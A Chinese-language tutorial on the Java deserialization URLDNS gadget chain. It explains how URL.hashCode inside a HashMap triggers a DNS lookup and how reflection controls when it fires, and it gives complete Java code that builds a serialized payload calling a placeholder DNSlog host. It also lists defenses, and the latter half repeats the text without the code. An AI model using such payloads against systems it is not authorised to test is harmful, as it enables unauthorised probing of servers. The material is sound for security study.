002、java反序列化-URLDNS链
字数 1323 2025-08-29 22:41:38

Java反序列化漏洞利用:URLDNS链分析

一、漏洞原理概述

URLDNS链是Java反序列化漏洞中一个经典的利用链,它利用了Java原生类URLHashMap的特性来实现DNS查询,常用于验证反序列化漏洞的存在。

关键点:

  1. URL类实现了Serializable接口,可以被序列化
  2. URL类重写了hashCode()方法
  3. URL对象作为HashMap的key时,会触发hashCode()计算
  4. URL.hashCode()内部会解析URL的主机名,导致DNS查询

二、核心类分析

1. URL类

public final class URL implements java.io.Serializable {
    private int hashCode = -1;
    // ...
    
    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;
        hashCode = handler.hashCode(this);
        return hashCode;
    }
}

关键特性:

  • 实现了Serializable接口
  • 使用hashCode字段缓存哈希值(初始为-1)
  • hashCode == -1时,会调用handler.hashCode(this)进行实际计算

2. HashMap类

当对象放入HashMap时:

  1. 会调用对象的hashCode()方法计算哈希值
  2. 如果哈希冲突,还会调用equals()方法

三、漏洞利用过程

基本利用流程

  1. 创建HashMap对象
  2. 将URL对象作为key放入HashMap
  3. 序列化HashMap
  4. 反序列化HashMap时触发DNS查询

问题发现

直接实现时发现:

  • 序列化时就会触发DNS查询(非预期)
  • 反序列化时不会触发DNS查询(因为hashCode已被缓存)

原因:

  • 序列化时hashCode()计算后,值被缓存(不再为-1)
  • 反序列化后直接返回缓存值,不再调用handler.hashCode(this)

解决方案

使用反射机制控制hashCode值:

  1. 创建URL对象后,立即将其hashCode设为1(防止序列化时触发DNS)
  2. 将URL放入HashMap
  3. 再将hashCode设为-1(确保反序列化时触发DNS)
  4. 序列化HashMap

四、完整利用代码

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSExploit {
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
        oos.writeObject(obj);
        oos.close();
    }
    
    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://yourdnslog.example.com");
        
        // 使用反射修改URL对象的hashCode值
        Class<?> urlClass = url.getClass();
        Field hashCodeField = urlClass.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        
        // 1. 先设为非-1值,防止put时触发DNS
        hashCodeField.set(url, 1);
        
        // 2. 将URL放入HashMap
        hashMap.put(url, 1);
        
        // 3. 将hashCode改回-1,确保反序列化时触发DNS
        hashCodeField.set(url, -1);
        
        // 4. 序列化HashMap
        serialize(hashMap);
    }
}

五、技术细节分析

为什么HashMap会触发URL的hashCode?

当对象作为HashMap的key时:

  1. HashMap需要计算key的哈希值来确定存储位置
  2. 计算过程调用key对象的hashCode()方法
  3. 对于URL对象,当hashCode == -1时会触发DNS解析

反射的作用

  1. 绕过URL类的封装,直接修改私有字段hashCode
  2. 控制DNS触发时机:
    • 序列化前防止触发(设为1)
    • 反序列化时确保触发(设为-1)

六、防御措施

  1. 避免反序列化不可信数据
  2. 使用白名单机制限制可反序列化的类
  3. 使用安全框架如SerialKiller、Hessian等
  4. 升级JDK版本,某些版本有修复措施

七、实际应用场景

  1. 漏洞验证:快速验证反序列化漏洞是否存在
  2. 无回显漏洞探测:通过DNS查询确认漏洞
  3. 内网探测:结合DNSLog平台探测内网服务

八、注意事项

  1. 该链仅能触发DNS查询,无法执行代码
  2. 需要出网环境(能够进行DNS解析)
  3. 适用于大多数JDK版本,兼容性好
  4. 生成的payload不依赖第三方库,纯Java原生类实现

九、扩展思考

  1. 如何将该技术与其他反序列化链结合?
  2. 在不出网环境下如何利用反序列化漏洞?
  3. 如何检测和防御此类攻击?
Java反序列化漏洞利用:URLDNS链分析 一、漏洞原理概述 URLDNS链是Java反序列化漏洞中一个经典的利用链,它利用了Java原生类 URL 和 HashMap 的特性来实现DNS查询,常用于验证反序列化漏洞的存在。 关键点: URL 类实现了 Serializable 接口,可以被序列化 URL 类重写了 hashCode() 方法 当 URL 对象作为 HashMap 的key时,会触发 hashCode() 计算 URL.hashCode() 内部会解析URL的主机名,导致DNS查询 二、核心类分析 1. URL类 关键特性: 实现了 Serializable 接口 使用 hashCode 字段缓存哈希值(初始为-1) 当 hashCode == -1 时,会调用 handler.hashCode(this) 进行实际计算 2. HashMap类 当对象放入HashMap时: 会调用对象的 hashCode() 方法计算哈希值 如果哈希冲突,还会调用 equals() 方法 三、漏洞利用过程 基本利用流程 创建HashMap对象 将URL对象作为key放入HashMap 序列化HashMap 反序列化HashMap时触发DNS查询 问题发现 直接实现时发现: 序列化时就会触发DNS查询(非预期) 反序列化时不会触发DNS查询(因为hashCode已被缓存) 原因: 序列化时 hashCode() 计算后,值被缓存(不再为-1) 反序列化后直接返回缓存值,不再调用 handler.hashCode(this) 解决方案 使用反射机制控制 hashCode 值: 创建URL对象后,立即将其 hashCode 设为1(防止序列化时触发DNS) 将URL放入HashMap 再将 hashCode 设为-1(确保反序列化时触发DNS) 序列化HashMap 四、完整利用代码 五、技术细节分析 为什么HashMap会触发URL的hashCode? 当对象作为HashMap的key时: HashMap需要计算key的哈希值来确定存储位置 计算过程调用key对象的 hashCode() 方法 对于URL对象,当 hashCode == -1 时会触发DNS解析 反射的作用 绕过URL类的封装,直接修改私有字段 hashCode 控制DNS触发时机: 序列化前防止触发(设为1) 反序列化时确保触发(设为-1) 六、防御措施 避免反序列化不可信数据 使用白名单机制限制可反序列化的类 使用安全框架如SerialKiller、Hessian等 升级JDK版本,某些版本有修复措施 七、实际应用场景 漏洞验证:快速验证反序列化漏洞是否存在 无回显漏洞探测:通过DNS查询确认漏洞 内网探测:结合DNSLog平台探测内网服务 八、注意事项 该链仅能触发DNS查询,无法执行代码 需要出网环境(能够进行DNS解析) 适用于大多数JDK版本,兼容性好 生成的payload不依赖第三方库,纯Java原生类实现 九、扩展思考 如何将该技术与其他反序列化链结合? 在不出网环境下如何利用反序列化漏洞? 如何检测和防御此类攻击?